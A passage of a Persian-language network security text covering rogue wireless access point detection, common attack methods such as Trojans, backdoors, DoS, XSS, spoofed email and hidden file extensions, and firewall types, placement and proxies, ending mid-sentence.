را نيز پـويش كنـد    802.11aاستفاده شده براي كار نظارت بر سايت، بايد بتواند همزمان نقاط دسترسي 

  ررسي كامل نيازي به جايگزين هاي سخت افزاري و نرم افزاري نباشد.تا در طول يك ب

بعضي نقـاط دسترسـي نـامطلوب سـعي دارنـد كانالهـايي را بـه صـورت غيرقـانوني روي كانـال هـاي            

802.11b  به كار بگيرند كه براي ارسال استفاده نمي شوند. براي مثال قوانينFCC    تنها اجـازه اسـتفاده

جزء مشخصـات آن تعريـف شـده     14تا  12را مي دهد. كانال هاي   802.11bاز  11تا  1از كانال هاي 

اند اما فقط براي استفاده در اروپا و ژاپن كاربرد دارند. به هرحال، بعضـي كـاربران ممكـن اسـت از نقطـه      

دسترسي كانال هاي اروپايي يا ژاپني استفاده كنند، به اين اميد كـه رسـيدگي يـك سـايت متمركـز روي      

از كانال هاي فركانس بالاتر چشم پوشي كند. اين قضيه مخصوصاً براي رديابي  FCCهاي مطابق با  كانال

ابزارهايي اهميت دارد كه بيرون باند فركانسي مجاز بكارگرفته شده اند تـا از اعمـال اجرايـي اتخـاذ شـده      

) ابـزار  Passive Analyzersتوسـط نماينـدگي هـاي مجـاز برحـذر باشـند. آنالايزرهـاي غيرفعـال (        
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تشخيص مي دهنـد، امـا چـون تـواني ارسـال نمـي كننـد          ارزشمندي هستند زيرا استفاده هاي غيرمجاز را

  است.قانوني استفاده از آنها 

مديران شبكه همواره تحت فشار زماني هستند، و به روش آساني براي يافتن نقاط دسترسي نامطلوب و 

از دارند. موتورهاي جستجوي خبره بـه مـديران اجـازه    در عين حال چشم پوشي از نقاط دسترسي مجاز ني

مي دهند كه ليستي از نقاط دسترسي مجاز را پيكربندي كنند. هـر نقطـه دسترسـي غيرمجـاز باعـث توليـد       

علامت هشدار دهنده اي مي شود. در پاسخ به علامت هشدار دهنـده، مـديران شـبكه مـي تواننـد از ابـزار       

سي براساس مقياس هـاي قـدرت سـيگنال اسـتفاده كننـد. اگرچـه ايـن        ديگري براي پيدا كردن نقطه دستر

ابزارها ممكن است خيلي دقيق نباشند، ولي براي محدود كردن محوطه جستجوي نقطه دسترسي نامطلوب 

  به اندازه كافي مناسب هستند.
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 هاي معمول حمله به كامپيوترها  روش -9

هايي كه مورد استفاده خرابكاران براي ورود  ترين روش معمول قصد داريم طي دو شماره بطور خلاصه به

  گيرد به كامپيوتر يا از كارانداختن آن قرارمي

  هاي اسب تروا برنامه -1

  هاي مديريت از راه دور درهاي پشتي و برنامه  -2

  عدم پذيرش سرويس-3

  وساطت براي يك حمله ديگر -4

  نشده اشتراكهاي ويندوزي حفاظت -5

  )ActiveXو  Java  ،JavaScriptقابل انتقال (كدهاي  -6

  Cross-Siteاسكريپتهاي  -7

  ايميلهاي جعلي -8

  ويروسهاي داخل ايميل -9

  پسوندهاي مخفي فايل  -10

  گيرندگان چت سرويس  -11

  هاي اطلاعات شنود بسته -12

 

  هاي اسب تروا برنامه 9-1

ند (گـاهي مهندسـي اجتمـاعي نيـز گفتـه      هاي اسب تروا روشي معمول براي گول زدن شما هسـت  برنامه

را روي كامپيوتر شما نصب كنند. و به اين ترتيب اجازه دسترسـي آسـان    ”درپشتي“هاي  شود) تا برنامه مي
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دهند، يا كامپيوترتان  دهند، پيكربندي سيستم شما را تغيير مي كامپيوترتان را بدون اطلاعتان به مزاحمين مي

  .كنند را با يك ويروس آلوده مي

   

  
 

   

  هاي مديريت از راه دور درهاي پشتي و برنامه 9-2

روي كامپيوترهاي ويندوزي، معمولا سه ابزار توسط مزاحمين براي دسترسي از راه دور به كامپيوترتان 

هـاي درپشـتي يـا مـديريت از      . اين برنامهSubSevenو  BackOrifice  ،Netbusشود.  استفاده مي

دهند. به شما توصيه  شوند، به افراد ديگر اجازه دسترسي و كنترل كامپيوترتان را مي دور وقتي نصب مي راه

  مطالعه كنيد. CERTاز   BackOrificeهاي امنيتي را بخصوص در مورد  كنيم كه شكاف مي

   

  ش سرويسعدم پذير 9-3

سرويس نام دارد. اين نوع حمله باعث  پذيرش يا عدم  Denial-of-Serviceنوعي ديگر از حمله، 

شـود. در بيشـتر مـوارد،     استفاده شـدن مـي   از كارافتادن يا مشغول شدن بيش از حد كامپيوتر تا حد غيرقابل

علاوه بر اينكـه كـامپيوتر   هاي امنيتي از حمله جلوگيري خواهند كرد. شايان گفتن است كه  آخرين وصله

عليـه يـك سيسـتم ديگـر نيـز       DoSگيرد، ممكن است كه در حمله  قرار مي DoSشما هدف يك حمله 

  شركت داده شود.
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  وساطت براي يك حمله ديگر 9-4

هاي ديگر  كرات از كامپيوترهاي مورد حمله قرارگرفته براي پايگاهي براي حمله به سيستم مزاحمين به

شـده اسـت.    توزيـع  DoSكنند. يك مثال آن چگونگي استفاده از آنهـا بعنـوان ابـزار حمـلات      استفاده مي

لـه  كنند كه روي كامپيوتر مـورد حم  را (معمولا از طريق يك اسب تروا) نصب مي ”عامل“مزاحمين يك 

هـا روي   ماند. سپس، هنگـامي كـه تعـدادي از عامـل     شود و منتظر دستورهاي بعدي مي قرارگرفته اجرا مي

-denial-ofشود كه يك حملـه   كامپيوترهاي مختلف در حال اجرا هستند، به تمام آنها دستور داده مي

service نيست، بلكـه سيسـتم    را روي يك سيستم پياده كنند. بنابراين، هدف نهايي حمله، كامپيوتر شما

  كامپيوتر شما فقط يك ابزار مناسب براي يك حمله بزرگتر است. –شخص ديگري است 

   

  نشده اشتراكهاي ويندوزي حفاظت9-5

توانند توسط مزاحمين تحت يـك روش خودكـار بـراي     نشده مي ويندوزي محافظت  اشتراكهاي شبكه

يندوزي متصل بـه اينترنـت مـورد سوءاسـتفاده قـرار      قراردادن ابزارها روي تعداد زيادي از كامپيوترهاي و
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گيرند. از آنجا كه براي امنيت سايت روي اينترنت وابستگي بين سيستمها وجود دارد، يك كامپيوتر مورد 

كند، بلكه تهديدي بـراي سـايتهاي ديگـر روي     حمله قرارگرفته نه تنها مشكلاتي براي صاحبش فراهم مي

القوه بزرگـي در گسـتره وسـيع بـراي ظهـور ناگهـاني سـاير ابزارهـاي         شـود. عامـل ب ـ   اينترنت محسوب مي

  كند. نشده استفاده مي مزاحمت وجود دارد كه از اشتراكهاي شبكه ويندوزي محافظت

   

  
 

   

  )ActiveXو  Java  ،JavaScriptكدهاي قابل انتقال ( 9-6

) وجـود  ActiveXو  Java ،JavaScript( ماننـد   ”كـدهاي سـيار   ” گزارشهايي در مورد مشكلات با 

دهندگان وب اجازه نوشتن كدهاي قابل اجرا در  سازي هستند كه به توسعه داشته است. اينها زبانهاي برنامه

آوري  ةوانـد توسـط مزاحمـان بـراي جمـع      امـا مـي    دهند. اگرچه كد عموما مفيد است، مرورگر شما را مي

رسـان روي كـامپيوتر شـما مـورد      زنيد) يا اجـراي كـدهاي آسـيب    سايتهايي كه سر مي اطلاعات (مثلا وب

در مرورگـر شـما وجـود     ActiveXو  Java ،JavaScriptاستفاده قرار گيرد. امكان از كار انـداختن  

ايتهايي هستيد كه با آنها آشنا نيستيد يـا اطمينـان نداريـد،    س شود كه اگر در حال مرور وب دارد. توصيه مي

هـاي ايميـل آگـاه     اين كار را انجام دهيد، اگرچه از خطرات احتمالي در استفاده از كدهاي سيار در برنامه

اسـتفاده   HTMLهاي ايميل از همان كـد بعنـوان مرورگرهـاي وب بـراي نمـايش       باشيد. بسياري از برنامه
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اثرگذارند، اغلب عـلاوه   ActiveXو  Java ،JavaScriptبر   ين، شكافهاي امنيتي كهكنند. بنابرا مي

   بر صفحات وب در ايميلها هم قابل اجرا هستند.

 

  

  Cross-Siteاسكريپتهاي  9-7

با افكار بدخواهانه ممكـن اسـت اسـكريپتي بـه آنچـه كـه بـه يـك وب سـايت           يك برنامه نويس وب

، يك عنصـر در شـكلي خـاص، يـا درخواسـت از يـك پايگـاه داده،         URLفرستاده مي شود، مانند يك 

بچسباند. بعدا، وقتي وب سايت به شما پاسخ مي دهد، اسكريپت زيان رسان بـه مرورگـر شـما منتقـل مـي      

  شود.

  رگر وب تان را توسط روشهاي زير در اختيار اسكريپتهاي زيان رسان قرار دهيد:شما مي توانيد مرو

* تعقيب لينك ها در صفحات وب، ايميلها يا پيام هاي گروه هاي خبري بدون دانستن به آنچه لينـك  

  داده شده است.

  * استفاده از فرم هاي محاوره اي روي يك سايت غيرقابل اطمينان
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ين، مجمع ها يا ديگر صفحاتي كه بصورت پويا توليد مي شوند در جايي * ديدن گروه هاي بحث آنلا

  ارسال كنند. HTMLكه كاربران مي توانند متنهاي شامل تگ هاي 

   

  ايميلهاي جعلي 9-8

اين حالت زماني اتفاق مي افتد كه يك ايميل به ظاهر متعلق به منبعي مي باشد درحاليكه در حقيقت از 

اغلب براي گول زدن كاربر بمنظوراين كه اطلاعات  Email Spoofingست. منبعي ديگر ارسال شده ا

  حساس (مانند كلمات عبور) را افشاء كند بكار مي رود. 

  

ضرر تا اقدامات مربوط به مهندسي اجتمـاعي  ايميل جعل شده مي تواند گستره اي از شوخي هاي بي  

  داشته باشد. مثالهايي از مورد دوم اينها هستند:

تغيير كلمات عبورشان را به   * ايميل ادعا مي كند كه از مدير يك سيستم است و از كاربران تقاضاي

  .يك رشته مشخص دارد و آنها را در صورت عدم تابعيت به تعليق اكانتهايشان تهديد مي كند
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* ايميل ادعا مي كند از يك شخص با اختيارات لازم است و از كاربران تقاضا مي كند كه يك كپـي  

  از فايل كلمات عبور يا ساير اطلاعات حساس را برايش ارسال كنند.

 

توجه كنيد وقتي سرويس دهندگان گهگاهي تقاضا مي كنند كه كلمه عبورتـان را تغييـر دهيـد، معمـولا      

بيشتر سرويس دهندگان قانوني از شما هرگـز   به چه كلمه اي تغيير كند. همچنين،  مشخص نمي كنند كه

تقاضاي ارسال كلمات عبورتان را از طريق ايميل نمي كنند. اگر شـك داريـد كـه يـك ايميـل جعلـي از       

بايد بـا پرسـنل پشـتيباني سـرويس دهنـده خـود سـريعا         شخصي با تمايلات بدخواهانه دريافت كرده ايد، 

  گيريد.تماس ب

  ويروسهاي داخل ايميل 9-9

ايميلهـا گسـترش مـي يابنـد. قبـل از       ويروس ها و ساير كدهاي آسـيب رسـان اغلـب بعنـوان پيوسـت      

بازكردن هر پيوستي، از شناخته شده بودن منبع آن اطمينان حاصل كنيد. اينكه ايميل از آدرسي باشـد كـه   

ن علت گسترش يافت كه آدرس فرستنده آن آشـنا  شما مي شناسيد، كافي نيست. ويروس مليسا دقيقا به اي

بود. همچنين، كدهاي آسيب رسان ممكن است در برنامه هاي سـرگرم كننـده يـا فريبنـده گسـترش پيـدا       

  كنند.

هرگز برنامه اي را اجرا نكنيد، مگر اينكه توسط شخص يا شركتي نوشته شده باشد كـه بـه آن اعتمـاد    

ز منابع ناشناخته دريافت مي كنيـد، صـرفا بخـاطر اينكـه سـرگرم كننـده       داريد. بعلاوه، برنامه هايي را كه ا

  هستند، براي دوستان يا همكاران خود ارسال نكنيد.

  پسوندهاي مخفي فايل 9-10

پسـوند فايلهـايي كـه نـوع آنهـا       “سيستم عاملهاي ويندوز انتخابي را در اختيار شما قرار مي دهنـد كـه   

اين انتخاب بصورت پيش فرض فعال است، امـا ممكـن اسـت يـك      .”شناخته شده است را پنهان مي كند
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كاربر اين قابليت را بمنظور به نمايش درآمدن پسوند تمام فايلها توسط وينـدوزغيرفعال كنـد. ويروسـهاي    

داخل ايميل از پنهان ماندن پسوند فايلهاي شناخته شده بهره برداري مي كنند. اولين حمله عمده كه از اين 

-LOVE-LETTER“بود كه حاوي يك پيوست به نام  VBS/LoveLetterگرفت كرم قابليت بهره 

FOR-YOU.TXT.vbx”  .بود. ساير برنامه هاي آسيب رسان چنين طرحهاي نامگذاري مشابهي دارند

  چندين مثال اينها هستند:

*Downloader (MySis.avi.exe or QuickFlicking.mpg.exe)  

*VBS/Timofonica (TIMOFONICA.TXT.vbs)  

*VBS/CoolNote (COOL_NOTEPAD_DEMO.TXT.vbs)  

*VBS/OnTheFly (AnnaKournikova.jpg.vbs)  

ايلهاي پيوسته به ايميلها كه توسط اين ويروسها فرستاده مي شوند، ممكن است بي ضرر بنظر برسـند،  ف

ه در حقيقـت ايـن   ) يا ديگر انواع فايل در حاليكavi.يا  mpg.)، فايلهاي تصويري (txt.فايلهاي متني (

  )exe.يا  vbs.فايل يك اسكريپت يا فايل اجرايي آسيب رسان است (براي مثال 

  سرويس گيرندگان چت  9-11

، مكانيسـمي را فـراهم   IRCبرنامه هاي چت اينترنتي، مانند برنامه هاي پيام رساني سريع و شبكه هـاي  

اينترنت منتقـل شـود. برنامـه هـاي چـت      مي كنند تا اطلاعات بصورت دوطرفه بين كامپيوترهاي متصل به 

و در بسياري موارد انتقال انواع فايلها را فـراهم مـي    URLمكالمه، تبادل   براي گروههايي از افراد، امكان

  كنند.

چون بسياري از برنامه هاي چت اجازه تبادل كدهاي قابل اجرا را مي دهند، خطراتي مشابه برنامه هاي 

نند. مانند برنامه هاي ايميل، بايد دقت كافي براي محـدودكردن توانـايي برنامـه    انتقال ايميل را ايجاد مي ك
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هاي چت براي اجراي فايلهاي دانلود شده، بكار گرفتـه شـود. مثـل هميشـه، بايـد مواظـب تبـادل فايـل بـا          

  طرفهاي ناشناس باشيد. 

  شنود بسته هاي اطلاعات 9-12

است كه ديتا را از اطلاعـاتي كـه در حـال انتقـال در روي     يك برنامه شنود بسته هاي اطلاعاتي، برنامه اي 

شبكه هستند، در اختيار مي گيرد. اين ديتا ممكن است شامل نام كاربران، كلمـات عبـور و هـر اطلاعـات     

اختصاصي ديگري باشد كه روي شبكه و بدون اينكه رمز شده باشند، حركت مي كنند. با شايد صـدها يـا   

ده توسـط ايـن برنامـه، مـزاحمين مـي تواننـد حمـلات گسـترده اي را روي         هزاران كلمات عبور گرفته ش

  سيستمها پياده كنند. نصب چنين برنامه اي لزوما به سطح دسترسي مدير احتياج ندارد.

  

وط تلفن سنتي، كاربران مودمهاي كابلي در معرض خطر بيشـتري بـراي   و خط DSLنسبت به كاربران 

هسـتند. يـك برنامـه     LANشنود قرار دارند، زيرا كه تمام كاربران مودمهاي كابلي همسايه بخشي از يك 

شنود نصب شده روي كامپيوتر هر كاربر مودم كابلي ممكن است بتواند ديتا ارسال شده توسط هـر مـودم   

  ر همان همسايگي دريافت كند.كابلي ديگر را د
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 ها: فايروال -10

فايروال وسيله اي است كه كنتـرل دسترسـي بـه يـك شـبكه را بنـابر سياسـت امنيتـي شـبكه تعريـف مـي            

كند.علاوه بر آن از آنجايي كه معمولا يك فايروال بر سـر راه ورودي يـك شـبكه مـي نشـيند لـذا بـراي        

  ترجمه آدرس شبكه نيز بكار گرفته مي شود.

  مشخصه هاي مهم يك فايروال قوي و مناسب جهت ايجاد يك شبكه امن عبارتند از:

مي شود   توانايي ثبت و اخطار :ثبت وقايع يكي از مشخصه هاي بسيار مهم يك فايروال به شمار  -1

و به مديران شبكه اين امكان را مي دهد كه انجام حملات را كنترل كنند. همچنـين مـدير شـبكه    

كمك اطلاعات ثبت شده به كنترل ترافيك ايجاد شده توسط كاربران مجاز بپردازد.  مي تواند با

در يك روال ثبت مناسب ، مدير مـي توانـد براحتـي بـه بخشـهاي مهـم از اطلاعـات ثبـت شـده          

دسترسي پيدا كند. همچنين يك فـايروال خـوب بايـد بتوانـد عـلاوه بـر ثبـت وقـايع، در شـرايط          

  قايع مطلع كند و براي وي اخطار بفرستد.بحراني، مدير شبكه را از و

بازديد حجم بالايي از بسته هاي اطلاعات: يكي از تستهاي يك فايروال ، توانـايي آن در بازديـد     -2

حجم بالايي از بسته هاي اطلاعاتي بدون كاهش چشمگير كارايي شبكه است. حجم داده اي كه 

تلف متفاوت است اما يـك فـايروال قطعـا    يك فايروال مي تواند كنترل كند براي شبكه هاي مخ

نبايد به گلوگاه شبكه تحت حفاظتش تبديل شود.عوامل مختلفي در سـرعت پـردازش اطلاعـات    

توسط فايروال نقش دارند. بيشترين محدوديتها از طرف سرعت پردازنده و بهينه سـازي كـد نـرم    

مي توانـد كارتهـاي واسـطي    افزار بر كارايي فايروال تحميل مي شوند. عامل محدودكننده ديگر 

باشد كه بر روي فايروال نصب مي شوند. فايروالي كه بعضي كارها مانند صدور اخطـار ، كنتـرل   

و بررسي وقايع ثبت شده را به نرم افزارهاي ديگر مي سپارد از سرعت و  URLدسترسي مبني بر 

  كارايي بيشتر و بهتري برخوردار است. 

ربندي شامل امكـان راه انـدازي سـريع فـايروال و مشـاهده سـريع       سادگي پيكربندي: سادگي پيك  -3

خطاها و مشكلات است.در واقع بسياري از مشكلات امنيتي كه دامنگير شبكه هاي مـي شـود بـه    

پيكربندي غلط فايروال بر مي گردد. لذا پيكربندي سريع و ساده يك فايروال ، امكان بروز خطـا  
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و يا ابزراي كه بتواند سياستهاي   ش گرافيكي معماري شبكهرا كم مي كند. براي مثال امكان نماي

  امنيتي را به پيكربندي ترجمه كند ، براي يك فايروال بسيار مهم است.

ــن       -4 ــايروال خــود يكــي از نكــات مهــم در يــك شــبكه ام ــت ف ــايروال: امني ــت و افزونگــي ف امني

ورود هكرها و مهاجمان را به ساير است.فايروالي كه نتواند امنيت خود را تامين كند ، قطعا اجازه 

بخشهاي شبكه نيز خواهد داد. امنيت در دو بخش از فايروال ، تامين كننده امنيت فايروال و شبكه 

  است:

امنيت سيستم عامل فايروال : اگر نرم افزار فايروال بر روي سيستم عامـل جداگانـه اي    -الف

ند نقاط ضعف فايروال نيز بـه حسـاب   كار مي كند، نقاط ضعف امنيتي سيستم عامل ، مي توا

بيايد. بنابراين امنيت و استحكام سيسـتم عامـل فـايروال و بروزرسـاني آن از نكـات مهـم در       

  امنيت فايروال است.

دسترسي امن به فايروال جهت مقاصد مديريتي : يك فايروال بايـد مكانيزمهـاي امنيتـي     -ب

ايـن روشـها مـي توانـد رمزنگـاري را       خاصي را براي دسترسي مديران شبكه در نظر بگيـرد. 

  همراه با روشهاي مناسب تعيين هويت بكار گيرد تا بتواند در مقابل نفوذگران تاب بياورد.

   
  انواع فايروال

انواع مختلف فايروال كم و بيش كارهايي را كه اشاره كرديم ، انجام مي دهند، اما روش انجام كار توسط 

ن امر منجر به تفاوت در كارايي و سطح امنيت پيشنهادي فـايروال مـي   انواع مختلف ، متفاوت است كه اي

  گروه تقسيم مي كنند. 5شود.بر اين اساس فايروالها را به 

 TCP): اين فايروالها به عنوان يك رله براي ارتباطات Circuit-Levelفايروالهاي سطح مدار (  -1

ع مي كنند و خود بـه جـاي آن رايانـه بـه     را با رايانه پشتشان قط TCPعمل مي كنند. آنها ارتباط 

پاسخگويي اوليه مي پردازند.تنها پس از برقراري ارتباط است كه اجازه مي دهند تا داده به سمت 

رايانه مقصد جريان پيدا كند و تنها به بسته هاي داده اي مرتبط اجازه عبور مي دهند. اين نـوع از  
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را مورد بررسي قرار نمي دهند و لذا سرعت خـوبي  فايروالها هيچ داده درون بسته هاي اطلاعات 

  ) را نيز نمي دهند.TCPدارند. ضمنا امكان ايجاد محدوديت بر روي ساير پروتكلها ( غير از 

فايروالهاي پروكسي سرور : فايروالهاي پروكسي سرور به بررسـي بسـته هـاي اطلاعـات در لايـه        -2

رائه شده توسط برنامه هاي كاربردي پشتش كاربرد مي پردازد. يك پروكسي سرور درخواست ا

را قطع مي كند و خود به جاي آنها درخواست را ارسال مـي كند.نتيجـه درخواسـت را نيـز ابتـدا      

خود دريافت و سپس براي برنامه هاي كاربردي ارسال مي كند. اين روش با جلوگيري از ارتباط 

امنيت بالايي را تامين مي كند. از آنجايي مستقيم برنامه با سرورها و برنامه هاي كاربردي خارجي 

مـي شناسـند ، لـذا مـي تواننـد بـر مبنـاي ايـن              كه اين فايروالها پروتكلهاي سـطح كـاربرد را  

پروتكلها محدوديتهايي را ايجاد كنند. همچنين آنها مي توانند با بررسي محتواي بسـته هـاي داده   

اين سطح بررسي مي تواند به كنـدي ايـن فايروالهـا    اي به ايجاد محدوديتهاي لازم بپردازند. البته 

بيانجامد. همچنين از آنجـايي كـه ايـن فايروالهـا بايـد ترافيـك ورودي و اطلاعـات برنامـه هـاي          

كاربردي كاربر انتهايي را پـردازش كنـد، كـارايي آنهـا بيشـتر كـاهش مـي يابـد. اغلـب اوقـات           

كاربر مجبور اسـت تغييراتـي را در برنامـه     پروكسي سرورها از ديد كاربر انتهايي شفاف نيستند و

خود ايجاد كند تا بتوان داين فايروالها را به كار بگيرد.هر برنامه جديدي كه بخواهد از ايـن نـوع   

  فايروال عبور كند ، بايد تغييراتي را در پشته پروتكل فايروال ايجاد كرد.

ده اي دارند. آنها بر مسـير يـك   : اين فيلترها روش كار سا Nosstateful packetفيلترهاي   -3

شبكه مي نشينند و با استفاده از مجموعه اي از قواعد ، به بعضي بسته ها اجازه عبـور مـي دهنـد و    

بعضي ديگر را بلوكه مـي كننـد. ايـن تصـميمها بـا توجـه بـه اطلاعـات آدرس دهـي موجـود در           

ات موجود در پروتكلهاي لايه و در بعضي موارد با توجه به اطلاع IPپروتكلهاي لايه شبكه مانند 

اتخاذ مي شود. اين فيلترها زمـاني مـي تواننـد بـه خـوبي       UDPو  TCPانتقال مانند سرآيندهاي 

عمل كنند كه فهم خوبي از كاربرد سرويسهاي مورد نيـاز شـبكه جهـت محافظـت داشـته باشـند.       

ي كننـد و اطلاعـاتي   همچنين اين فيلترها مي توانند سريع باشند چون همانند پروكسي ها عمل نم

  درباره پروتكلهاي لايه كاربرد ندارند.
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: اين فيلترها بسيار باهوشتر از فيلترهاي ساده هستند. آنهـا تقريبـا    Stateful Packetفيلترهاي ٍ  -4

تمامي ترافيك ورودي را بلوكه مي كنند اما مي توانند به ماشينهاي پشتشـان اجـازه بدهنـد تـا بـه      

نها اين كار را با نگهداري ركورد اتصالاتي كه ماشينهاي پشتشان در لايـه  پاسخگويي بپردازند. آ

انتقال ايجاد مي كنند، انجام مي دهند.اين فيلترها ، مكانيزم اصلي مورد استفاده جهت پياده سازي 

فايروال در شبكه هاي مدرن هستند.اين فيلترها مي توانند رد پاي اطلاعـات مختلـف را از طريـق    

مبـدا و   UDPو  TCPدر حال عبورند ثبت كنند. براي مثـال شـماره پـورت هـاي      بسته هايي كه

مي توانند  Stateful. بسياري از فيلترهاي جديد TCPو پرچمهاي  TCPمقصد، شماره ترتيب 

را تشخيص دهنـد و لـذا مـي تواننـداعمال كنتـرل       HTTPو  FTPپروتكلهاي لايه كاربرد مانند 

  سرعت اين پروتكلها انجام دهند. دسترسي را با توجه به نيازها و

فايروالهاي شخصي : فايروالهاي شخصي ، فايروالهايي هستند كـه بـر روي رايانـه هـاي شخصـي        -5

نصب مي شوند.آنها براي مقابله با حملات شبكه اي طراحي شده اند. معمـولا از برنامـه هـاي در    

ده توسط اين برنامـه هـا اجـازه مـي     حال اجرا در ماشين آگاهي دارند و تنها به ارتباطات ايجاد ش

بسـيار مفيـد اسـت زيـرا      PCدهند كه به كار بپردازند نصب يك فايروال شخصي بـر روي يـك   

سطح امنيت پيشنهادي توسط فايروال شبكه را افزايش مي دهـد. از طـرف ديگـر از آنجـايي كـه      

ال شـبكه نمـي   مـي شـوند ، فـايرو     امروزه بسياري از حملات از درون شبكه حفاظت شده انجـام 

تواند كاري براي آنها انجام دهد و لذا يك فايروال شخصي بسيار مفيد خواهد بود. معمولا نيازي 

  به تغيير برنامه جهت عبور از فايروال شخصي نصب شده (همانند پروكسي) نيست.

   
  موقعيت يابي براي فايروال 10-1

ال و پيكربندي كامل آن ، از اهميت ويـژه  محل و موقعيت نصب فايروال همانند انتخاب نوع صحيح فايرو

  اي برخوردار است. نكاتي كه بايد براي يافتن جاي مناسب نصب فايروال در نظر گرفت عبارتند از : 

صب از لحاظ توپولوژيكي : معمولا مناسب به نظر مـي رسـد كـه فـايروال را در     موقعيت و محل ن       �

درگاه ورودي/خروجي شبكه خصوصي نصب كنيم. اين امر به ايجاد بهترين پوشـش امنيتـي بـراي شـبكه     
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خصوصي با كمك فايروال از يك طرف و جداسازي شبكه خصوصي از شبكه عمـومي از طـرف ديگـر    

  كمك مي كند.

ت دسترسي و نواحي امنيتي : اگر سرورهايي وجود دارنـد كـه بايـد بـراي شـبكه عمـومي در       قابلي       �

قرار دهيد. قرار دادن ايـن سـرورها در    DMZدسترس باشند ، بهتر است آنها را بعد از فايروال و در ناحيه 

برابر  شبكه خصوصي وتنظيم فايروال جهت صدور اجازه به كاربران خارجي براي دسترسي به اين سرورها

خواهد بود با هك شدن شبكه داخلي. چون شما خود مسير هكرها را در فايروال باز كـرده ايـد. در حـالي    

، سرورهاي قابل دسترسي براي شبكه عمومي از شبكه خصوصي شما بطـور   DMZكه با استفاده از ناحيه 

د بازهم فايروال را پيش روي فيزيكي جدا هستند، لذا اگر هكرها بتوانند به نحوي به اين سرورها نفوذ كنن

  خود دارند.

مسيريابي نامتقارن : بيشتر فايروالهاي مدرن سعي مي كنند اطلاعات مربوط به اتصالات مختلفي را        �

كه از طريق آنها شبكه داخلي را به شبكه عمومي وصل كرده است، نگهداري كنند. اين اطلاعات كمك 

مجاز به شبكه خصوصي وارد شوند. در نتيجه حائز اهميـت اسـت كـه     مي كنند تا تنها بسته هاي اطلاعاتي

  نقطه ورود و خروج تمامي اطلاعات به/از شبكه خصوصي از طريق يك فايروال باشد.

فايروالهاي لايه اي : در شبكه هاي با درجه امنيتي بالا بهتر است از دو يـا چنـد فـايروال در مسـير            �

كلي روبرو شود، دومي به كار ادامـه مـي دهـد.معمولا بهتـر اسـت دو يـا چنـد        قرار گيرند. اگر اولي با مش

فايروال مورد استفاده از شركتهاي مختلفي باشند تا در صورت وجود يـك اشـكال نـرم افـزاري يـا حفـره       

  امنيتي در يكي از آنها ، سايرين بتوانند امنيت شبكه را تامين كنند.

 امنيت شبكه  كاربرد پراكسي در -11

به اين مطلب مي پردازيم كه از ديدگاه امنيتي پراكسي چيست و چـه چيـزي نيسـت، از چـه      بخشاين در 

نوع حملاتي جلوگيري مي كند و به مشخصـات بعضـي انـواع پراكسـي پرداختـه مـي شـود. البتـه قبـل از          

  پرداختن به پراكسي بعنوان ابزار امنيتي، بيشتر با فيلترها آشنا خواهيم شد. 

  ست؟پراكسي چي11-1



 

 

١١١

١١١

بـراي خيلـي چيزهـا اسـتفاده مـي كننـد. امـا عمومـاً،         » پراكسي«در دنياي امنيت شبكه، افراد از عبارت 

سـنجد و    كنـد، آن ديتـا را مـي     پراكسي ابزار است كه بسته هاي ديتاي اينترنتي را در مسير دريافت مـي 

شـود    اي ياد مي  معني پروسهدهد. در اينجا از پراكسي به   عملياتي براي سيستم مقصد آن ديتا انجام مي

  گيرد و آن را مـي   اي قبل از اينكه به شبكه وارد يا از آن خارج شود، قرار مي  كه در راه ترافيك شبكه

كند كه آيا به آن اجازه عبور   سنجد تا ببيند با سياست هاي امنيتي شما مطابقت دارد و سپس مشخص مي

رد قبول به سرور مورد نظر ارسال و بسته هاي ردشده دور ريختـه  هاي مو  از فايروال را بدهد يا خير. بسته

  شوند.  مي

  پراكسي چه چيزي نيست؟

 Stateful  و  Packet filter«شـوند    پراكسي ها بعضي اوقـات بـا دو نـوع فـايروال اشـتباه مـي      

packet filter « بين كارايي كه البته هر كدام از روش ها مزايا و معايبي دارد، زيرا هميشه يك مصالحه

  و امنيت وجود دارد.
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  تفاوت دارد Packet filterپراكسي با 

اين نوع فيلتر بود. اين نوع فيلتـر   TCP/IPابتدايي ترين روش صدور اجازه عبور به ترافيك بر اساس 

ترافيك ديتايي كـه بـين    header IPدو يا بيشتر رابط شبكه قرار مي گيرد و اطلاعات آدرس را در  بين

كند، پيمايش مي كند. اطلاعاتي كه اين نوع فيلتر ارزيابي مي كند عمومـاً شـامل آدرس و     آنها عبور مي

سـاس قـوانين ايجـاد شـده     شود. اين فيلتر بسته به پورت و منبع و مقصد ديتا و بر ا  پورت منبع و مقصد مي

توسط مدير شبكه بسته را مي پذيرد يا نمي پذيرد. مزيت اصلي اين نوع فيلتر سريع بودن آن است چرا كه 

header تمام آن چيزي است كه سنجيده مي شود. و عيب اصلي ان اين است كه هرگز آنچه را كه در ،

بور از فايروال را مي دهد. بعـلاوه، ايـن نـوع    بيند و به محتواي آسيب رسان اجازه ع  بسته وجود دارد نمي

  ) ارتباط را دنبال نمي كند.Stateتر با هر بسته بعنوان يك واحد مستقل رفتار مي كند و وضعيت (لفي

   

  تفاوت دارد Stateful packet filterپراكسي با 

م كـامپيوتر در حـال   اين فيلتر اعمال فيلتر نوع قبل را انجام مي دهد، بعلاوه اينكه بررسي مي كنـد كـدا  

  ) شـناخته مـي  Stateارسال چه ديتايي است و چه نوع ديتايي بايد بيايد. اين اطلاعات بعنوان وضـعيت ( 

  شود.

به ترتيبي از ارتباط براي برقراري يك مكالمه بين كامپيوترها نياز دارد. در  TCP/IPپروتكل ارتباطي 

ــاط   ــك ارتب ــاز ي ــامپيوتر   TCP/IPآغ ــادي، ك ــي ك  Aع ــعي م ــته    س ــك بس ــال ي ــا ارس ــد ب  SYNن

(synchronize)  به كامپيوترB  ارتباط را برقرار كند. كامپيوترB    در جواب يـك بسـتهSYN/ACK 

(Acknowledgement (  برمي گرداند، و كامپيوترA  يكACK  به كامپيوتر B  مي فرستد و به اين

دادن   بـراي نشـان   FIN (finish)   اجازه وضـعيتهاي ديگـر، مـثلاً    TCPترتيب ارتباط برقرار مي شود. 

  آخرين بسته در يك ارتباط را نيز مي دهد.

هكرها در مرحله آماده سازي براي حمله، به جمع آوري اطلاعات در مورد سيستم شما مـي پردازنـد.   

يك روش معمول ارسال يك بسته در يك وضعيت غلط به منظوري خاص است. براي مثال، يك بسته بـا  
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به سيستمي كه تقاضايي نكرده، مي فرستند. معمولاً، كامپيوتر دريافت كننده بيايـد   )Replyعنوان پاسخ (

. به اين ترتيب، به هكر نشان مـي دهـد كـه وجـود      ”I don’t understand“پيامي بفرستد و بگويد 

